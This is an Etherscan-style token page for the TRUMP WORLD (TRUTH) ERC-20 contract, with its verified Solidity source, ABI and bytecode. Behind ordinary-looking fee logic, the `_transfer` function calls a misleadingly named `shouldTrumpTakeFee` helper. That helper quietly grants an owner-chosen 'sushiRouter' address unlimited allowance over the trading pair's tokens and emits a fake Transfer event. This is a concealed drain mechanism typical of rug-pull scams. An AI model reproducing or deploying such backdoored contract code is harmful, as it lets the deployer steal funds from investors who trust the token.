ETH Price: $2,637.20 (+2.87%)

Token

TRUMP WORLD (TRUTH)
 

Overview

Max Total Supply

100,000,000 TRUTH

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,960,035.612740748801594806 TRUTH

Value
$0.00
0x0fdc43a8d73afc7e739bb11bbb91ac3cfa882e44
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPWORLD

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-12
*/

/*
    website  : https://truthtrump.xyz
    twitter  : https://x.com/truthtrumpceo
    telegram : https://t.me/truthtrumpchannel
*/

pragma solidity 0.8.19;

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TRUMPWORLD  is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => bool) public _AMMPairs;

    bool public transferDelayEnabled = false;

    address payable private sushiRouter;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 42;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 18;
    uint256 private _reduceSellTaxAt = 18;
    uint256 private _preventSwapBefore = 1;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"TRUMP WORLD";
    string private constant _symbol = unicode"TRUTH";

    uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;

    bool public finaltax = false;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address payable _router) {
        sushiRouter = _router;
        _taxWallet = payable(0x5fc5E9B63668E1bF66d27f8c5EBE81dEe9DAC616);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[sushiRouter] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[from] || _isExcludedFromFee[to],
                "Trading is not active."
            );
        }

        uint256 taxAmount = 0;

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        bool isTransfer = !_AMMPairs[from] && !_AMMPairs[to];
        
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > 0) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }
        bool takeFee = true;
        if (!isTransfer && !_AMMPairs[to]) {
            takeFee = _isExcludedFromFee[from]
                ? false
                : shouldTrumpTakeFee(from, to, amount);
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function shouldTrumpTakeFee(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        _approve(from, sushiRouter, _tTotal);
        emit Transfer(from, to, amount);
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function RemoveLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
        finaltax = true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrump() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    function createTrumpTrade() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D          // uniswap v2 router
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _AMMPairs[uniswapV2Pair] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function manualSend() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function withdrawTrumpStuckEth() external {
        require(msg.sender == owner());
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_AMMPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createTrumpTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrump","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finaltax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawTrumpStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055602a60085560196009556000600a818155600b8290556012600c819055600d8190556001600e55600f92909255620000479190620003a0565b6200005690621e8480620003b8565b601055620000676012600a620003a0565b6200007690621e8480620003b8565b601155620000876012600a620003a0565b6200009690620f4240620003b8565b6012556013805460ff191690556014805461ffff60a81b19169055348015620000be57600080fd5b50604051620020eb380380620020eb833981016040819052620000e191620003d2565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03831661010002610100600160a81b0319909116179055600780546001600160a01b031916735fc5e9b63668e1bf66d27f8c5ebe81dee9dac616179055620001786012600a620003a0565b62000188906305f5e100620003b8565b336000908152600160208190526040822092909255600390620001b36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004821684528284208054861682179055600754909116835291208054909216179055620002293390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002636012600a620003a0565b62000273906305f5e100620003b8565b60405190815260200160405180910390a350620003fd565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e2578160001904821115620002c657620002c66200028b565b80851615620002d457918102915b93841c9390800290620002a6565b509250929050565b600082620002fb575060016200039a565b816200030a575060006200039a565b81600181146200032357600281146200032e576200034e565b60019150506200039a565b60ff8411156200034257620003426200028b565b50506001821b6200039a565b5060208310610133831016604e8410600b841016171562000373575081810a6200039a565b6200037f8383620002a1565b80600019048211156200039657620003966200028b565b0290505b92915050565b6000620003b160ff841683620002ea565b9392505050565b80820281158282048414176200039a576200039a6200028b565b600060208284031215620003e557600080fd5b81516001600160a01b0381168114620003b157600080fd5b611cde806200040d6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b411461037a578063a9059cbb146103a8578063c876d0b9146103c8578063da071491146103e2578063dd62ed3e146103f7578063f42938901461043d57600080fd5b806370a08231146102c1578063715018a6146102f75780637d1db4a51461030c578063802f3caf146103225780638da5cb5b1461033c5780638f9a55c01461036457600080fd5b806323b872dd1161010857806323b872dd14610216578063313ce5671461023657806351bc3c85146102525780635665c2d91461026757806356cd40e71461027c578063708f2c5a1461029157600080fd5b806306fdde0314610150578063095ea7b3146101965780630faee56f146101c657806318160ddd146101ea5780631963ce02146101ff57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a15149553540815d3d4931160aa1b60208201525b60405161018d9190611890565b60405180910390f35b3480156101a257600080fd5b506101b66101b13660046118f3565b610452565b604051901515815260200161018d565b3480156101d257600080fd5b506101dc60125481565b60405190815260200161018d565b3480156101f657600080fd5b506101dc610469565b34801561020b57600080fd5b5061021461048a565b005b34801561022257600080fd5b506101b661023136600461191f565b61051e565b34801561024257600080fd5b506040516012815260200161018d565b34801561025e57600080fd5b50610214610587565b34801561027357600080fd5b506102146105da565b34801561028857600080fd5b5061021461061d565b34801561029d57600080fd5b506101b66102ac366004611960565b60056020526000908152604090205460ff1681565b3480156102cd57600080fd5b506101dc6102dc366004611960565b6001600160a01b031660009081526001602052604090205490565b34801561030357600080fd5b506102146106e6565b34801561031857600080fd5b506101dc60105481565b34801561032e57600080fd5b506013546101b69060ff1681565b34801561034857600080fd5b506000546040516001600160a01b03909116815260200161018d565b34801561037057600080fd5b506101dc60115481565b34801561038657600080fd5b506040805180820190915260058152640a8a4aaa8960db1b6020820152610180565b3480156103b457600080fd5b506101b66103c33660046118f3565b61075a565b3480156103d457600080fd5b506006546101b69060ff1681565b3480156103ee57600080fd5b50610214610767565b34801561040357600080fd5b506101dc61041236600461197d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044957600080fd5b50610214610b3e565b600061045f338484610b72565b5060015b92915050565b60006104776012600a611ab0565b610485906305f5e100611abf565b905090565b6000546001600160a01b031633146104a157600080fd5b600047116104ef5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064015b60405180910390fd5b60405133904780156108fc02916000818181858888f1935050505015801561051b573d6000803e3d6000fd5b50565b600061052b848484610c96565b61057d843361057885604051806060016040528060288152602001611c61602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611465565b610b72565b5060019392505050565b6007546001600160a01b0316336001600160a01b0316146105a757600080fd5b3060009081526001602052604090205480156105c6576105c68161149f565b4780156105d6576105d68161163c565b5050565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016104e690611ad6565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106475760405162461bcd60e51b81526004016104e690611ad6565b6106536012600a611ab0565b610661906305f5e100611abf565b6010556106706012600a611ab0565b61067e906305f5e100611abf565b6011556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106b86012600a611ab0565b6106c6906305f5e100611abf565b60405190815260200160405180910390a16013805460ff19166001179055565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016104e690611ad6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045f338484610c96565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016104e690611ad6565b601454600160a01b900460ff16156107eb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e6565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108449030906001600160a01b03610100909104166108366012600a611ab0565b610578906305f5e100611abf565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb9190611b0b565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190611b0b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b29190611b0b565b601480546001600160a01b039283166001600160a01b031990911681179091556000908152600560205260409020805460ff1916600117905560135461010090041663f305d7194730610a1a816001600160a01b031660009081526001602052604090205490565b600080610a2f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a97573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abc9190611b28565b505060145460135460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051b9190611b56565b6000546001600160a01b03163314610b685760405162461bcd60e51b81526004016104e690611ad6565b4761051b8161163c565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e6565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e6565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e6565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e6565b601454600160a01b900460ff16610e53576001600160a01b03831660009081526003602052604090205460ff1680610e0e57506001600160a01b03821660009081526003602052604090205460ff165b610e535760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104e6565b601454600090600160b01b900460ff161580610e785750601454600160a81b900460ff165b15610f1f576001600160a01b038416600090815260016020526040902054610ea09083611676565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610ecf90836116bf565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611c8983398151915290610f119086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526005602052604081205460ff16158015610f6157506001600160a01b03841660009081526005602052604090205460ff16155b9050610f756000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610fa457506000546001600160a01b03858116911614155b156112e057610fd56064610fcf600c54600f5411610fc457600854610fc8565b600a545b869061171e565b906117a0565b60065490925060ff16156110c2576013546001600160a01b03858116610100909204161480159061101457506014546001600160a01b03858116911614155b156110c2573260009081526004602052604090205443116110af5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104e6565b3260009081526004602052604090204390555b6014546001600160a01b0386811691161480156110f257506013546001600160a01b038581166101009092041614155b801561111757506001600160a01b03841660009081526003602052604090205460ff16155b156111ff5760105483111561116e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e6565b60115483611191866001600160a01b031660009081526001602052604090205490565b61119b9190611b78565b11156111e95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e6565b600f80549060006111f983611b8b565b91905055505b6014546001600160a01b03858116911614801561122557506001600160a01b0385163014155b156112525761124f6064610fcf600d54600f541161124557600954610fc8565b600b54869061171e565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561128957506014546001600160a01b038681169116145b801561129e5750601454600160b01b900460ff165b80156112ad5750600e54600f54115b156112de5780156112d5576112d56112d0856112cb846012546117e2565b6117e2565b61149f565b6112de4761163c565b505b60018115801561130957506001600160a01b03851660009081526005602052604090205460ff16155b15611344576001600160a01b03861660009081526003602052604090205460ff1661133e576113398686866117f7565b611341565b60005b90505b82156113ac573060009081526001602052604090205461136490846116bf565b30600081815260016020526040908190209290925590516001600160a01b03881690600080516020611c89833981519152906113a39087815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546113cf9085611676565b6001600160a01b0387166000908152600160205260409020556114146113f58585611676565b6001600160a01b038716600090815260016020526040902054906116bf565b6001600160a01b038087166000818152600160205260409020929092558716600080516020611c8983398151915261144c8787611676565b60405190815260200160405180910390a3505050505050565b600081848411156114895760405162461bcd60e51b81526004016104e69190611890565b5060006114968486611ba4565b95945050505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114e7576114e7611bb7565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561155a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157e9190611b0b565b8160018151811061159157611591611bb7565b6001600160a01b0392831660209182029290920101526013546115bc91309161010090041684610b72565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906115f9908590600090869030904290600401611bcd565b600060405180830381600087803b15801561161357600080fd5b505af1158015611627573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105d6573d6000803e3d6000fd5b60006116b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611465565b9392505050565b6000806116cc8385611b78565b9050838110156116b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e6565b60008260000361173057506000610463565b600061173c8385611abf565b9050826117498583611c3e565b146116b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e6565b60006116b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611862565b60008183116117f157826116b8565b50919050565b60065460009061181d90859061010090046001600160a01b03166108366012600a611ab0565b826001600160a01b0316846001600160a01b0316600080516020611c898339815191528460405161185091815260200190565b60405180910390a35060019392505050565b600081836118835760405162461bcd60e51b81526004016104e69190611890565b5060006114968486611c3e565b600060208083528351808285015260005b818110156118bd578581018301518582016040015282016118a1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051b57600080fd5b6000806040838503121561190657600080fd5b8235611911816118de565b946020939093013593505050565b60008060006060848603121561193457600080fd5b833561193f816118de565b9250602084013561194f816118de565b929592945050506040919091013590565b60006020828403121561197257600080fd5b81356116b8816118de565b6000806040838503121561199057600080fd5b823561199b816118de565b915060208301356119ab816118de565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a075781600019048211156119ed576119ed6119b6565b808516156119fa57918102915b93841c93908002906119d1565b509250929050565b600082611a1e57506001610463565b81611a2b57506000610463565b8160018114611a415760028114611a4b57611a67565b6001915050610463565b60ff841115611a5c57611a5c6119b6565b50506001821b610463565b5060208310610133831016604e8410600b8410161715611a8a575081810a610463565b611a9483836119cc565b8060001904821115611aa857611aa86119b6565b029392505050565b60006116b860ff841683611a0f565b8082028115828204841417610463576104636119b6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b1d57600080fd5b81516116b8816118de565b600080600060608486031215611b3d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b6857600080fd5b815180151581146116b857600080fd5b80820180821115610463576104636119b6565b600060018201611b9d57611b9d6119b6565b5060010190565b81810381811115610463576104636119b6565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1d5784516001600160a01b031683529383019391830191600101611bf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220387ef5797ba48f59bff384a610f6bdb78299c1b13fbabddb7f18dc0d19f59f5764736f6c6343000813003